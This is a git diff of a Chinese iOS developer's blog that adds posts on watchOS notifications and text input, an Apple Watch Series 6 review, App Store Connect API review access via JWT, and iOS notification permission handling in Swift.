再來講到interactive,同dynamic,只是能多加Button,能跟dynamic設同個Class控制程式;interactive我沒有使用,因為我的按鈕是用程式self.notificationActions加上去的,差異如下:

左使用interactive,右使用self.notificationActions

左使用interactive,右使用self.notificationActions

兩個做法都需watchOS ≥ 5 支援.

使用self.notificationActions增加按鈕則按鈕事件處理由ExtensionDelegate中的userNotificationCenter( _ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping ( ) -> Void)處理,並以identifier識別動作

選單功能?

在元件庫中拉入Menu,再拉入選單項目Menu Item,再拉IBAction到程式控制

在元件庫中拉入Menu,再拉入選單項目Menu Item,再拉IBAction到程式控制

在頁面重壓就會出現:

內容輸入?

使用內建的presentTextInputController方法即可!

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+
@IBAction func replyBtnClick() {
+    guard let target = target else {
+        return
+    }
+    
+    self.presentTextInputController(withSuggestions: ["稍後回覆您","謝謝","歡迎與我聯絡","好的","OK!"], allowedInputMode: WKTextInputMode.plain) { (results) in
+        
+        guard let results = results else {
+            return
+        }
+        //有輸入值時
+        
+        let txts = results.filter({ (txt) -> Bool in
+            if let txt = txt as? String,txt != "" {
+                return true
+            } else {
+                return false
+            }
+        }).map({ (txt) -> String in
+            return txt as? String ?? ""
+        })
+        //預處理輸入
+        
+        
+        txts.forEach({ (txt) in
+            print(txt)
+        })
+    }
+}
+

總結

謝謝你看到這!辛苦了!

到這裡文章已告一段落,大略提了一下UI排版、程式、推播、介面應用部分,有開發過iOS的上手真的很快,幾乎差不多而且許多方法都做了簡化使用起來更簡潔,但能做的事確實也變少了(像是目前還不知道怎麼針對Table做載入更多);目前能做的事確實很少,希望官方在未來能開放更多API給開發者使用❤️❤️❤️

MurMur:

Apple Watch App Target 部署到手錶真的有夠慢 — [Narcos](https://www.netflix.com/tw/title/80025172){:target="_blank"}

Apple Watch App Target 部署到手錶真的有夠慢 — Narcos

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Apple Watch Series 4 從入手到上手全方位心得

iOS tintAdjustmentMode 屬性

diff --git a/posts/eab0e984043/index.html b/posts/eab0e984043/index.html new file mode 100644 index 000000000..32e1913d4 --- /dev/null +++ b/posts/eab0e984043/index.html @@ -0,0 +1 @@ + Apple Watch Series 6 開箱 & 兩年使用體驗 | ZhgChgLi
Home Apple Watch Series 6 開箱 & 兩年使用體驗
Post
Cancel

Apple Watch Series 6 開箱 & 兩年使用體驗

Apple Watch Series 6 開箱 & 兩年使用心得

Apple Watch Series 6 開箱及選購指南&兩年使用心得體驗彙整

前言

時光飛逝,距離 上一篇開箱 Apple Watch Series 4 的文章 也已經過了兩年了;以功能來說 Series 4 綽綽有餘沒有升級的必要,Series 5/Series 6 沒有什麼核心的突破功能,都是有會更好、沒有也沒關係的更新。

但因 小鬼的新聞 ,所幸將原有的 Series 4 LTE 版先給家人配戴使用了;LTE 版遇到狀況可以不受手機有沒有在身邊的限制,都能撥出緊急電話,相較 GPS 版更加安全。

個人的使用習慣是出門配戴,回家就拔下來充電,睡覺不會配戴,所以少了睡眠體驗的部分。

我 Series 4 買的是 LTE 版,但由於手機都會帶在身邊實在沒必要每個月多付 $199 月費開通,而且在手錶上回訊息很麻煩、接電話也要有 AirPods 才方便,再加上手錶上的 Spotify 純粹是播放控制器,無法離開 iPhone 獨立播放(只有 Apple Music/KKBOX 可)

and… 本人是 iOS APP / watchOS APP 開發者

[2020–10–24 更新] :Spotify 已支援獨立播放,在手錶 Spotify APP 中選擇播放裝置->Apple Watch->連線藍牙耳機->即可播放!(依然還不支援離線下載播放,需再有網路環境下才可使用)。

Apple Watch Series 6 開箱

直接進入本文重頭戲。

下單

這次選擇 GPS 44’mm 鋁合金版賽普樂絲綠(軍綠),搭配我的 iPhone 11 Pro 軍綠。

沒有跟到第一批購買,我 9/15 晚上下單:

  • 系統給的預估收到時間 10/16~10/19(可能剛好遇到大陸國慶長假)
  • 10/10 通知發貨,預估 10/13 前就能拿到
  • 10/13 通知因海關延誤到貨日期可能稍有延誤
  • 實際 10/14 拿到,不過還是比原始預估收貨時間來得早了!

開箱

Apple Watch + 犀牛盾保護殼組

Apple Watch + 犀牛盾保護殼組

翻開背面,開箱!

翻開背面,開箱!

開箱全過程完全用不到刀子,一路撕到底。

Open!

Open!

一個錶帶一個機體。

這一代包裝厚度明顯減少許多(少了豆腐頭)

這一代包裝厚度明顯減少許多(少了豆腐頭)

機體開箱

機體開箱

只附磁吸充電線。

機體特寫

機體特寫

這次機體的保護材質改為紙製的,上一代我記得是黑色的絨布。

錶帶開箱

錶帶開箱

組合!

組合!

背面

背面

組合時可先安裝上半部錶帶,再拉掉紙質保護套,比較不容易手滑。

Apple Watch 6 + iPhone 11 Pro

Apple Watch 6 + iPhone 11 Pro

with 奧樂雞

with 奧樂雞

泳圈雞

泳圈雞

Apple Watch 6 with 犀牛盾保護殼

Apple Watch 6 with 犀牛盾保護殼

血氧測試

血氧測試

玩一下這代的主打功能。

隨顯螢幕休眠 vs 顯示時

隨顯螢幕休眠 vs 顯示時

挺好的現在開始螢幕不會熄滅,不用抬腕等螢幕亮查看消息!

開箱結束。

兩年使用心得彙整

整理一下這兩年的使用感覺和我自己的選購指南。

提升生活體驗增加專注力

Apple Watch 作為手機的延伸,定位在手機與人之間的緩衝;我們目前對電子產品的依賴就是直面手機、直面紛紛擾擾的通知資訊。

不知道你是否跟我一樣覺得手機的通知很嚇人,即使是震動所發出的聲音也是,有時收到通知心臟也跟著抖了一下;接著下意識就拿出手機看了看,重要的事再接著處理、不重要的話就收起手機;然後這個流程每天不斷的重複在生活之中…

雖然你大可以關閉聲音通知、關閉靜音時震動、甚至關閉所有通知功能;但另一方面你也因此與世界脫鉤,錯過了真的重要的通知訊息,結果產生另一種無時無刻都拿手機出來檢查的焦慮。

綜合以上狀況 Apple Watch 就能在其中充當潤滑劑,在人與手機之間多加了一個漏斗進行過濾,手錶配戴中&手機休眠時僅手錶會通知,可以設定特定 APP 的通知才會傳到手錶、關閉特定 APP 通知聲音/震動。

你可能會說,這些設定不是跟手機一樣?但就體驗來說,手錶的聲音/震動更為輕柔不干擾,即使你關閉聲音/震動也能在抬腕時快速查看有無通知。

日常體驗的提升在及增加專注力的方式就是在手錶上快速 Review 通知訊息,然後決定要繼續當前的工作,還是拿出手機處理訊息內容;中間被打斷的時間非常短(就是看手錶的時間)、也避免一直拿出手機會分心其他事情,增加做事效率。

健康生活、記錄運動

透過有 Apple Watch 才能使用的獨佔的「健身」APP,能記錄你一天的生活,包含每天活動量、走路、心跳、運動紀錄,活動量增減統計、更仔細的健康資訊;社群方面還能與朋友競賽活動量、解鎖勳章,增加運動動力。

不過運動很看人,會運動的人還是會運動、不會運動的人也不會因為手錶而去運動;他頂多就是增加了運動的紀錄跟趣味性。

Apple Pay

手機都不用拿出來手錶按兩下就能感應付款,非常方便;尤其在已經大包小包的時候,沒有多餘的手去口袋掏手機出來時;另外也能安裝有支援 Apple Watch APP 的發票 APP,先點 APP 開載具條碼讓店員掃,然後再按兩下叫出 Apple Pay 付款。

我個人最常見的使用習慣是用手機 widget 讓店員掃載具或是會員條碼(如 7–11/全家,因他們也沒提供 Apple Watch APP),然後在快速按兩下手錶叫出 Apple Pay,同一隻手感應付款。

存裡面,不用收據。

個人風格隨你搭配

錶面、錶帶都能隨時依照你的心情更換;錶面固定了幾個,幾個上班用、幾個放假用;錶帶這兩年買了四條…有皮革的、有金屬的、有編織的,還有保護殼顏色更換…根據穿搭搭配。

蘋果全家桶連動

  1. 手錶可直接解鎖 Mac 電腦
  2. 手錶可一鍵查找手機(強迫手機發出嘟嘟聲)
  3. 手錶可當藍芽自拍按鈕,控制手機鏡頭拍照

查看天氣

個人很習慣看手錶的當前天氣狀況、降雨機率,一目瞭然;我用手機看都要點好幾層才能看到我要的資訊。

鬧鐘及計時

倒數計時器跟鬧鐘也是我很愛用的功能,可以快速在手錶上啟動倒數計時器,在配戴手錶的情況下計時器到跟鬧鐘響時都會透過手錶通知你(如果手錶開靜音則用手錶震動提醒你)

個人覺得非常舒服,尤其是想自己小憩一下時,怕鬧鐘鈴聲或手機鬧鐘震動會打擾到其他同事。

地圖

騎機車時蠻好用的,可以 直接查看路線地圖 、路線/轉彎震動提示;但缺點就是地圖沒有針對機車優化,要 自己注意禁行機車路線 ,路線規劃能力普通。

手錶查看路線地圖

手錶查看路線地圖

Google Map 最近重回 Apple Watch ,但沒辦法直接查看路線地圖,只有文字導航提示功能。

跌倒偵測

因最近大家很注意這個項目,特別列出來分享個人觸發經驗;有一次坐車上車時左手快速且大力地蹬了一下座椅,觸發成功跌倒偵測;搭會先瘋狂連續震動和發出聲音呼叫你,看你有沒有意識,如果不理他 30 秒後就會播打緊急電話及通知設定的緊急聯絡人。

Apple Watch 跌倒偵測 實測,1分鐘打給119救援。

- watchOS 5 之前是超過 65 歲才會預設開啟跌倒偵測、小於 65 歲預設是關閉的;這部分可以確認一下設定。

- 緊急聯絡人可指定多位,需事先設定。

推薦安裝的 APP

有看過 前一篇開箱 的朋友,那篇文章除了開箱、使用教學,還有一些 APP 推薦;老實說後來我都刪了,只留內建的 APP 跟一些常用的通訊軟體;因為只有一開始新奇會裝一堆 APP,後來也都沒在用。

說實話需要複雜操作的時候你會用手機,手錶真的只需要快速而已。

Apple Watch 這兩年的發展

如同前述,Series 4 與 Series 6 功能、產品定位方面都沒有變;都是 iPhone 手機的延伸,並非要取代 iPhone;這兩年並沒有突破性功能,續航也還是一天一充。

第三方 APP 方面兩年來沒新增多少,但有越來越多的趨勢;Line、Goolge Map 最近更新也都加強了 Apple Watch APP 部分,沒有被遺忘。

之前寫過一篇文章分享 自己動手做 Apple Watch APP 的經驗,基於 watchOS 5 開發,可以發現官方開放的功能很少(目前也差不多),所以第三方能發揮的空間有限以至於 APP 很少。

watchOS

目前已更新到 watchOS 7,同 iOS 一年一更。

watchOS 6: 加入環境噪音偵測、月經記錄(適合女性朋友)、網路對講機

watchOS 7: 加入睡眠追蹤功能、洗手時洗手時間輔助提示、家庭共享功能

watchOS 7 家庭共享功能 (僅限 LTE 版)

這部分我因為把原本 Series 4 手錶讓給家人有實際體驗過,可 參考此開箱影片 ;這功能手錶是綁在你的手機上、手錶要在附近才能更改設定,設定流程完成後部分設定無法再調整要重新設定,被共享的家人只能使用,不能自行客製化。

好處是配戴者不一定要是 iPhone 用戶!

根據 官網資料 ,此功能僅限配備行動網路 LTE 版 Series 4 後續機型才能使用!

選購指南

到底該不該買?

我想會看到這邊的朋友,80% 都已經想買了;我覺得如果是科技愛好者值得買來玩玩、如果手錶對你來說是配件,同樣的價格可以買到更美的、如果是只為了運動而買,有更好的運動錶可以考慮,Apple Watch 偏綜合需求及增強體驗所設計。

  1. 小鬼的案例其實有 Apple Watch 也無法避免 因小鬼是洗完澡出浴室時跌倒,Apple Watch 防水但並不防水蒸氣 ,如果時常戴手錶洗澡很容易就壞掉了、另外因為要一天一充一般都是洗澡時拔下來充電,也不會配戴。
  2. 依然還只是手機的延伸、蘋果實驗性產品
  3. 一天一充,出門也都要帶充電器
  4. 在從 Series 4 更換到 Series 6 時中間隔了兩三週都沒戴,個人感覺也沒差。

Series 6 or SE or 二手 Series 4/5?

性能上都很足夠再撐個3~5年都還行,有預算當然買新不買舊,追求 CP 值可以購買 SE ,如果預算有限可以買二手 Series 4/5/LTE版,較好入手。

Apple Watch 僅能與 iPhone 配對( Android 手機、iPad 都無法 ),另外也要考慮當前手機 iOS 版本, watchOS 7 僅限配對 iOS ≥ 14 以上機種watchOS 6 => iOS ≥ 13/watchOS 5 => iOS ≥ 12)

iPhone 要先升級到相對應的最低 iOS 版本才能配對使用。

Series 6 / SE 不附豆腐充電頭。

watchOS 7 的 家庭共享功能 (可查看小孩動向狀態、老人健康狀況) 只限 Series 4 以上版本或 SE 版

鋁合金 or 不鏽鋼 or 鈦金屬?

不鏽鋼版本 (感謝同事友情支援)

不鏽鋼版本 (感謝同事友情支援)

看你怎麼定位這隻錶,如果是新奇好玩買鋁合金就好;如果要加強飾品配件屬性則買不鏽鋼以上版本,更美更好搭。

鋁合金版二手市場需求較多,新一代出來比較好脫手(我的 Series 4 還能賣到 7~8千)。

鋁合金版的機身跟玻璃都較脆弱、螢幕玻璃也不抗刮,建議再多買保護殼+貼滿版保護貼。

保護殼(約 $400)+ 保護貼建議找水凝貼、果凍貼(約 $800)否則容易遇到不貼合問題;總計約再多+ $1500 鋁合金版也能有完整的保護。

另外附上血淚教訓,如果你有貼保護貼一定要買保護殼否則容易碎邊(我因為這樣重貼了三張損失快 $3000)、保護貼一定要找好的能貼合的不然會很難用,都是浪費$。

小豪包膜的 HAO 果凍膠滿版玻璃保護貼

小豪包膜的 HAO 果凍膠滿版玻璃保護貼

全透明&全膠完全貼合,不影響滑動順暢跟顯示。

犀牛盾+保護貼

犀牛盾+保護貼

螢幕會變稍微厚一點點,所以內框可能會有一點浮起(看保護殼的公差),不過卡扣都還是扣得進去。

小豪包膜是說建議不要多塞犀牛盾的內框會比較容易擠壓到保護貼,只用外框就好;但我 Series 4 這個狀態用了兩年都沒事,所以大家就自行斟酌囉。

40mm or 44mm?

看你手的粗細,男生一般建議戴 44,太小有點怪。

如果你要買鋁合金+保護殼要考慮加上保護殼的大小會不會太大。

GPS or LTE 行動網路版?

考量到之前買 LTE 都沒用這次改買 GPS 版了,便宜 $ 3000。

GPS or LTE 的考量點除了你會不會有場景會只戴手錶出門,還有最近大家最在意的跌倒報警功能, GPS 版僅限手機在身邊或手錶有辦法連到當前網路環境 WiFi 下,手錶連線到手機進行緊急報警 (若條件無法成立則一樣無法通知報警);LTE 版則可獨立運作,相對更安全;手機與手錶間通訊也是一樣,GPS版或未開通 LTE,則透過手機在手錶附近、手錶有辦法連到當前網路環境 WIFI 下進行通訊。

手錶有辦法連到當前網路環境 WiFi 的意思是,手機、手錶曾經連線過此 WiFi ,系統有紀錄能直接連線。

watchOS 7 的 家庭共享功能 (可查看小孩動向狀態、老人健康狀況) 只有 LTE 版能使用 ,因為 手錶的資料是傳回設定人(家長)而非配戴者的手機

錶帶部分

錶帶只區分:

  • 大的: 42 (Apple Watch 3 以下)/ 44 (Apple Watch 4 以上)
  • 小的: 38 (Apple Watch 3 以下)/ 40 (Apple Watch 4 以上)

且蘋果表示保證錶帶尺寸都不會更改(不然誰買 Hermès 版XD)至少目前 1~6 代錶帶都能共通。

[**Apple Watch 原廠不鏽鋼米蘭錶帶開箱**](../c0f99f987d9c/)

Apple Watch 原廠不鏽鋼米蘭錶帶開箱

一般版 / Nike 版 / Hermès 版

Nike 版只多 Nike 版專屬錶面,Hermès 版除了有Hermès 版專屬錶面還是Hermès 錶帶配不銹鋼版本。

升級指南

如果你現在手上的是 Series 3/Series 2/Series 1 建議可升級,至少升到 Series 4 ;4 開始螢幕變滿版(很多新的錶面都要求 4 以上才能用)、處理器效能更好幾乎不會卡頓,升級有感。

Series 4 可升可不升,畢竟主要只差在隨時顯示螢幕及血氧計,Apple Watch 的抬腕顯示夠快夠敏捷,隨時顯示當然更好但也沒一定要;血氧計部分沒通過醫療驗證,僅作參考。

如果已經有 Series 5,可以再等等下一代,沒有升級的必要。

詳細比較可參考官網「 比較所有錶款 」,還有些細節功能的差異,例如:高度計、指南針…等等

[Apple 官網](https://www.apple.com/tw/watch/compare/){:target="_blank"}

Apple 官網

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Xcode 直接使用 Swift 撰寫 Run Script!

Apple Watch 原廠不鏽鋼米蘭錶帶開箱

diff --git a/posts/ee47f8f1e2d2/index.html b/posts/ee47f8f1e2d2/index.html new file mode 100644 index 000000000..07ae1abda --- /dev/null +++ b/posts/ee47f8f1e2d2/index.html @@ -0,0 +1 @@ + AVPlayer 邊播邊 Cache 實戰 | ZhgChgLi
Home AVPlayer 邊播邊 Cache 實戰
Post
Cancel

AVPlayer 邊播邊 Cache 實戰

[舊]AVPlayer 邊播邊 Cache 實戰

摸清 AVPlayer/AVQueuePlayer with AVURLAsset 實作 AVAssetResourceLoaderDelegate 的脈絡

[2021–01–31] 文章公告:文章編修完成

在此要先對所有已讀原本文章的朋友深深一鞠躬道歉,因為自己的魯莽沒有徹底研究完成就發表文章;導致部分內容有誤、浪費您寶貴的時間。

目前已從頭把脈絡梳理完成,重新撰寫了篇文章;內含完整專案程式共大家參考,謝謝!

變更內容: 約 30%

新增內容: 約 60%

AVPlayer 實踐本地 Cache 功能大全 點我查看

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS APP 版本號那些事

AVPlayer 實踐本地 Cache 功能大全

diff --git a/posts/f1365e51902c/index.html b/posts/f1365e51902c/index.html new file mode 100644 index 000000000..5e6091ee7 --- /dev/null +++ b/posts/f1365e51902c/index.html @@ -0,0 +1,63 @@ + App Store Connect API 現已支援 讀取和管理 Customer Reviews | ZhgChgLi
Home App Store Connect API 現已支援 讀取和管理 Customer Reviews
Post
Cancel

App Store Connect API 現已支援 讀取和管理 Customer Reviews

App Store Connect API 現已支援 讀取和管理 Customer Reviews

App Store Connect API 2.0+ 全面更新,支援 In-app purchases、Subscriptions、Customer Reviews 管理

2022/07/19 News

[Upcoming transition from the XML feed to the App Store Connect API](https://developer.apple.com/news/?id=yqf4kgwb){:target="_blank"}

Upcoming transition from the XML feed to the App Store Connect API

今早收到 Apple 開發者最新消息 ,App Store Connect API 新增支援 In-app purchases、Subscriptions、Customer Reviews 管理三項功能;讓開發者可以更彈性的將 Apple 開發流程與 CI/CD 或是商業後台做更密切、有效率的整合!

In-app purchases、Subscriptions 我沒碰,Customer Reviews 讓我興奮不已,之前發表過一篇「 AppStore APP’s Reviews Slack Bot 那些事 」探討 App 評價與工作流程整合的方式。

Slack 評價機器人 — [ZReviewsBot](https://github.com/ZhgChgLi/ZReviewsBot){:target="_blank"}

Slack 評價機器人 — ZReviewsBot

在 App Store Connect API 還沒支援之前,只有兩種方法能獲取 iOS App 評價:

一 是 透過訂閱 Public RSS 取得,但是此 RSS 無法讓人彈性篩選、給的資訊也少、有數量上限、還有我們偶爾會遇到資料錯亂問題,很不穩定

二 是 透過 Fastlane SpaceShip 幫我們封裝複雜的網頁操作、Session 管理,去 App Store Connection 網站後台撈取評價資料 (等於是起一個網頁模擬器爬蟲去後台爬資料)。

  • 好處是資料齊全、穩定,我們串接了一年沒有遇到任何資料問題。
  • 壞處是 Session 每個月都會過期,要手動重新登入,而且 Apple ID 目前全面都要綁定 2FA 驗證,所以這段也要手動完成,這樣才能產出有效的 Session;另外 Session 如果產的跟用的 IP 不一樣會馬上過期 (因此很難將機器人放上不固定 IP 的網路服務)。

[important-note-about-session-duration](https://docs.fastlane.tools/best-practices/continuous-integration/#important-note-about-session-duration){:target="_blank"} by Fastlane

important-note-about-session-duration by Fastlane

  • 每個月不定時過期,要不定時去更新,時間久了真的很煩;而且這個 「 Know How 」其實不好交接給其他同事。

但因為沒有其他方法,所以也只能這樣,直到今天早上收到消息….

⚠️ 注意:官方預計在 2022/11 取消原本的 XML (RSS) 存取方式。

2022/08/10 Update

我已基於新的 App Store Connect API 開發了新的 「 ZReviewTender — 免費開源的 App Reviews 監控機器人

App Store Connect API 2.0+ Customer Reviews 試玩

建立 App Store Connect API Key

首先我們要登入 App Store Connect 後台,前往「Users and Access」->「Keys」->「 App Store Connect API 」:

點擊「+」,輸入名稱和權限;權限細則可參考官網說明,為了減少測試問題,這邊先選擇「App Manager」把權限開到最大。

點擊右方「Download API Key」下載保存你的「AuthKey_XXX.p8」Key。

⚠️ 注意:這個 Key 只能下載一次請 妥善保存 ,若遺失只能 Revoke 現有的 & 重新建立。⚠️

⚠️ 切勿外洩 .p8 Key File⚠️

App Store Connect API 存取方式

1
+
curl -v -H 'Authorization: Bearer [signed token]' "https://api.appstoreconnect.apple.com/v1/apps"
+

Signed Token (JWT, JSON Web Token) 產生方式

參考 官方文件

  • JWT Header:
1
+
{kid:"YOUR_KEY_ID", typ:"JWT", alg:"ES256"}
+

YOUR_KEY_ID :參考上圖。

  • JWT Payload:
1
+2
+3
+4
+5
+6
+
{
+  iss: 'YOUR_ISSUE_ID',
+  iat: TOKEN 建立時間 (UNIX TIMESTAMP e.g 1658326020),
+  exp: TOKEN 失效時間 (UNIX TIMESTAMP e.g 1658327220),
+  aud: 'appstoreconnect-v1'
+}
+

YOUR_ISSUE_ID :參考上圖。

exp TOKEN 失效時間 :會因為不同存取功能或設定有不同的時間限制,有的可以永久、有的超過 20 分鐘即失效,需要重新產生,詳細可參考 官方說明

使用 JWT.IO 或是以下附的 Ruby 範例產生 JWT

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+
require 'jwt'
+require 'time'
+
+keyFile = File.read('./AuthKey_XXXX.p8') # YOUR .p8 private key file path
+privateKey = OpenSSL::PKey::EC.new(keyFile)
+
+payload = {
+            iss: 'YOUR_ISSUE_ID',
+            iat: Time.now.to_i,
+            exp: Time.now.to_i + 60*20,
+            aud: 'appstoreconnect-v1'
+          }
+
+token = JWT.encode payload, privateKey, 'ES256', header_fields={kid:"YOUR_KEY_ID", typ:"JWT"}
+puts token
+
+
+decoded_token = JWT.decode token, privateKey, true, { algorithm: 'ES256' }
+puts decoded_token
+

最終會得到類似以下的 JWT 結果:

1
+
4oxjoi8j69rHQ58KqPtrFABBWHX2QH7iGFyjkc5q6AJZrKA3AcZcCFoFMTMHpM.pojTEWQufMTvfZUW1nKz66p3emsy2v5QseJX5UJmfRjpxfjgELUGJraEVtX7tVg6aicmJT96q0snP034MhfgoZAB46MGdtC6kv2Vj6VeL2geuXG87Ys6ADijhT7mfHUcbmLPJPNZNuMttcc.fuFAJZNijRHnCA2BRqq7RZEJBB7TLsm1n4WM1cW0yo67KZp-Bnwx9y45cmH82QPAgKcG-y1UhRUrxybi5b9iNN
+

打看看?

有了 Token 我們就能來打看看 App Store Connect API!

1
+
curl -H 'Authorization: Bearer JWT' "https://api.appstoreconnect.apple.com/v1/apps/APPID/customerReviews"
+
  • APPID 可從 App Store Connect 後台取得:

或是 App 商城頁面:

  • 成功!🚀 我們現在可以使用這個方式撈取 App 評價,資料完整且可以完全交給機器執行,不需人工例行維護 (JWT 雖會過期,但是 Private Key 不會,我們每次請求都可藉由 Private Key 簽名產生 JWT 去存取即可)。
  • 其他篩選參數、操作方法請參考 官方文件

⚠️ 您只能存取您有權限的 App 評價資料⚠️

完整 Ruby 測試專案

用一個 Ruby 檔案做了以上流程,可直接 Clone 下來填入資料即可測試使用。

首次打開:

1
+
bundle install
+

開始使用:

1
+
bundle exec ruby jwt.rb
+

Next

同理我們可以透過 API 去存取管理 ( API Overview ):

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

無痛轉移 Medium 到自架網站

ZReviewTender — 免費開源的 App Reviews 監控機器人

diff --git a/posts/f644db1bb8bf/index.html b/posts/f644db1bb8bf/index.html new file mode 100644 index 000000000..a9d2275ea --- /dev/null +++ b/posts/f644db1bb8bf/index.html @@ -0,0 +1,63 @@ + iOS ≥ 12 在使用者的「設定」中增加「APP通知設定頁」捷徑 (Swift) | ZhgChgLi
Home iOS ≥ 12 在使用者的「設定」中增加「APP通知設定頁」捷徑 (Swift)
Post
Cancel

iOS ≥ 12 在使用者的「設定」中增加「APP通知設定頁」捷徑 (Swift)

iOS ≥ 12 在使用者的「設定」中增加「APP通知設定頁」捷徑 (Swift)

除了從系統關閉通知,讓使用者還有其他選擇

緊接著前三篇文章:

我們繼續針對推播進行改進,不管是原有的技術或是新開放的功能,都來嘗試嘗試!

這次是啥?

iOS ≥ 12 可以在使用者的「設定」中增加您的APP通知設定頁面捷徑,讓使用者想要調整通知時,能有其他選擇;可以跳轉到「APP內」而不是從「系統面」直接關閉,ㄧ樣不囉唆先上圖:

「設定」->「APP」->「通知」->「在APP中設定」

「設定」->「APP」->「通知」->「在APP中設定」

另外在使用者收到通知時,若欲使用3D Touch調整設定「關閉」通知,會多一個「在APP中設定」的選項供使用者選擇

「通知」->「3D Touch」->「…」->「關閉…」->「在APP中設定」

「通知」->「3D Touch」->「…」->「關閉…」->「在APP中設定」

怎麼實作?

這部分的實作非常簡單,第一步僅需在要求推播權限時多要求一個 .providesAppNotificationSettings 權限即可

1
+2
+3
+4
+5
+6
+7
+8
+
//appDelegate.swift didFinishLaunchingWithOptions or....
+if #available(iOS 12.0, *) {
+    let center = UNUserNotificationCenter.current()
+    let permissiones:UNAuthorizationOptions = [.badge, .alert, .sound, .provisional,.providesAppNotificationSettings]
+    center.requestAuthorization(options: permissiones) { (granted, error) in
+        
+    }
+}
+

在詢問過使用者要不要允許通知之後,通知若為開啟狀態下方就會出現選項囉( 不論前面使用者按允許或不允許 )。

第二步:

第二步,也是最後一步;我們要讓 appDelegate 遵守 UNUserNotificationCenterDelegate 代理並實作 userNotificationCenter( _ center: UNUserNotificationCenter, openSettingsFor notification: UNNotification?) 方法即可!

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+
//appDelegate.swift
+import UserNotifications
+@UIApplicationMain
+class AppDelegate: UIResponder, UIApplicationDelegate {
+    var window: UIWindow?
+    func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool {
+        if #available(iOS 10.0, *) {
+            UNUserNotificationCenter.current().delegate = self
+        }
+        
+        return true
+    }
+    //其他部份省略...
+}
+extension AppDelegate: UNUserNotificationCenterDelegate {
+    @available(iOS 10.0, *)
+    func userNotificationCenter(_ center: UNUserNotificationCenter, openSettingsFor notification: UNNotification?) {
+        //跳轉到你的設定頁面位置..
+        //EX:
+        //let VC = SettingViewController();
+        //self.window?.rootViewController.present(alertController, animated: true)
+    }
+}
+
  • 在Appdelegate的didFinishLaunchingWithOptions中實現代理
  • Appdelegate遵守代理並實作方法

完成!相較於前幾篇文章,這個功能實作相較起來非常簡單 🏆

總結

這個功能跟 前一篇 提到的先不用使用者授權就發干擾性較低的靜音推播給使用者試試水溫有點類似!

都是在開發者與使用者之前架起新的橋樑,以往APP太吵,我們會直接進到設定頁無情地關閉所有通知,但這樣對開發者來說,以後不管好的壞的有用的…任何通知都無法再發給使用者,使用者可能也因此錯過重要消息或限定優惠.

這個功能讓使用者欲關閉通知時能有進到APP調整通知的選擇,開發者可以針對推播項目細分,讓使用者決定自己想要收到什麼類型的推播。

結婚吧APP 來說,使用者若覺得專欄通知太干擾,可個別關閉;但依然能收到重要系統消息通知.

p.s 個別關閉通知功能是我們APP本來就有的功能,但透過結合iOS ≥12的新通知特性能有更好的效果及使用者體驗的提升

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

永遠保持探索新事物的熱忱

Apple Watch Series 4 從入手到上手全方位心得

diff --git a/posts/fd7f92d52baa/index.html b/posts/fd7f92d52baa/index.html new file mode 100644 index 000000000..457f2ef84 --- /dev/null +++ b/posts/fd7f92d52baa/index.html @@ -0,0 +1,219 @@ + 從 iOS 9 到 iOS 12 推播通知權限狀態處理(Swift) | ZhgChgLi
Home 從 iOS 9 到 iOS 12 推播通知權限狀態處理(Swift)
Post
Cancel

從 iOS 9 到 iOS 12 推播通知權限狀態處理(Swift)

從 iOS 9 到 iOS 12 推播通知權限狀態處理(Swift)

適配 iOS 9 ~ iOS 12 處理通知權限狀態及要求權限的解決方案

做什麼?

接續前一篇「 什麼?iOS 12 不需使用者授權就能傳送推播通知(Swift) 」提到的推播權限取得流程優化,經過上一篇Murmur部分寫的優化之後又遇到了新的需求:

  1. 使用者若關閉通知功能,我們能在特定功能頁面提示他去設定開啟
  2. 跳轉至設定頁後,若有打開/關閉通知的操作,回到APP要能跟著更改狀態
  3. 沒詢問過推播權限時詢問權限,有詢問過但是不允許則跳提示,有詢問過又是允許則能繼續操作
  4. iOS 9 ~ iOS 12 都要支援

1~3 都還好,使用 iOS 10 之後的Framework UserNotifications 差不多都能妥善的解決,麻煩的是第4項 要能支援 iOS 9,iOS 9要使用 registerUserNotificationSettings 舊的方式處理起來並不容易;就讓我們一步一步做起吧!

思路及架構:

首先宣告一個全域的 notificationStatus物件 儲存通知權限狀態 並在需要處理的頁面加上屬性監聽(這邊我使用 Observable 做屬性變化的訂閱、可自行找適合的KVO或用Rx、ReactiveCocoa)

並在 appDelegate 中 didFinishLaunchingWithOptions (APP初始打開時)、applicationDidBecomeActive (從背景狀態回復時)、didRegisterUserNotificationSettings (≤iOS 9 的推播詢問處理) 這些方法中處理檢查推播通知權限狀態並更改 notificationStatus 的值 需要做處理的頁面就會觸發並作相對應的處理(EX: 跳出通知被關閉提示)

1. 首先宣告全域 notificationStatus 物件

1
+2
+3
+4
+5
+6
+
enum NotificationStatusType {
+     case authorized
+     case denied
+     case notDetermined
+}
+var notificationStatus: Observable<NotificationStatusType?> = Observable(nil)
+

notificationStatus/NotificationStatusType 的四種狀態分別對應:

  • nil = 物件初始化…檢測中…
  • notDetermined = 未詢問過使用者要不要接收通知
  • authorized = 已詢問過使用者要不要接收通知且按「允許」
  • denied = 已詢問過使用者要不要接收通知且按「不允許」

2. 構建檢測通知權限狀態的方法:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+
